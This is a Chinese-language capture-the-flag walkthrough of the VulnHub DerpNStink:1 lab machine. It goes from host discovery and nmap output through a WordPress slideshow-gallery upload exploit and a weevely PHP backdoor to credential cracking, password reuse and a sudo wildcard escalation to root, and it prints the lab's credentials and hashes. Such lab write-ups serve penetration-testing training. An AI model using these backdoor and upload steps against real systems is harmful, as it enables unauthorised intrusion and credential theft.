vulnhub-wp DerpNStink:1
🖳 主机发现
sudo netdiscover -r 192.168.1.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
16 Captured ARP Req/Rep packets, from 6 hosts. Total size: 960
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.5 20:1e:88:ad:fc:55 1 60 Intel Corporate
192.168.1.7 08:00:27:38:ee:93 1 60 PCS Systemtechnik GmbH
192.168.1.3 a2:86:90:e6:04:98 2 120 Unknown vendor
目标是192.168.1.7
👁 服务扫描
# Nmap 7.94SVN scan initiated Mon Feb 19 16:02:25 2024 as: nmap -p- -oN nmap_scan -sV -sC --min-rate 5000 192.168.1.7
Nmap scan report for 192.168.1.7 (192.168.1.7)
Host is up (0.00040s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 12:4e:f8:6e:7b:6c:c6:d8:7c:d8:29:77:d1:0b:eb:72 (DSA)
| 2048 72:c5:1c:5f:81:7b:dd:1a:fb:2e:59:67:fe:a6:91:2f (RSA)
| 256 06:77:0f:4b:96:0a:3a:2c:3b:f0:8c:2b:57:b5:97:bc (ECDSA)
|_ 256 28:e8:ed:7c:60:7f:19:6c:e3:24:79:31:ca:ab:5d:2d (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: DeRPnStiNK
| http-robots.txt: 2 disallowed entries
|_/php/ /temporary/
MAC Address: 08:00:27:38:EE:93 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 19 16:02:34 2024 -- 1 IP address (1 host up) scanned in 8.81 seconds
第一个flag藏在主页的源代码里.然后用dirb工具爆破目录,发现了一个weblog目录
dirb http://192.168.1.7
访问之后发现是一个wordpress博客。通过尝试可以知道能通过弱口令admin:admin
登录上后台,但是貌似admin并不是管理员用户,但是我们可以发现一个slideshow插件,在exploitdb可以搜索到漏洞。
exploit:https://www.exploit-db.com/exploits/34681
🚪🚶 获取权限
先用weevely生成一个后门
weevely generate admin back.php
admin
指定后门密码
然后用利用漏洞代码上传后门(其实直接上传也可以)
python2 34681.py -t 192.168.1.7/weblog -f back.php -u admin -p admin
然后用weevely连接
weevely http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/backdoor.php admin
然后得到了一个简易的shell,我们也可以再用bash反弹一个shell回去。
然后用linpeas.sh进行自动枚举,发现了一些数据库的密码,在192.168.1.7/php的目录下是有一个phpmyadmin(可通过dirb扫描出来)的,我们用找到的用户名和密码登录
登录上之后,在mysql.user表里面找到了unclestinky的用户名和密码
unclestinky:*9B776AFB479B31E8047026F1185E952DD1E530CB
该密码可在网站crackstation 处破解,得到凭证unclestinky:wedgie57
然后在wordpress.wp-users表里面找到unclestinky的用户名和密码
unclestinky:$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41
🛡️ 提升权限
考虑到密码的复用性,我们可以用这个密码去登录stinky用户,使用sh切换到stinky用户,然后输入密码,成功登录。
在stinky的目录下找到一个文件,里面有一些提示,在给用户mrderp修复的时候,抓了流量包,找到这个流量包也许我们可以从中找到mrderp的密码
用wireshark打开后追踪tcp流,在第37个tcp流的时候,找到了关键信息。也可以直接筛选http,因为有提示过和修改wordpress的密码有关。
我们得到了用户mrderp的口令derpderpderpderpderpderpderp。得到口令后拿去ssh尝试登录,登录成功。
根据提示我们检查一下sudo,发现我们可以执行一个特定目录下的任意derpy开头的命令,那这样我们直接把bash文件复制一个到这个目录下。由于这个目录不存在,我们需要创建一下。
最终拿下root权限。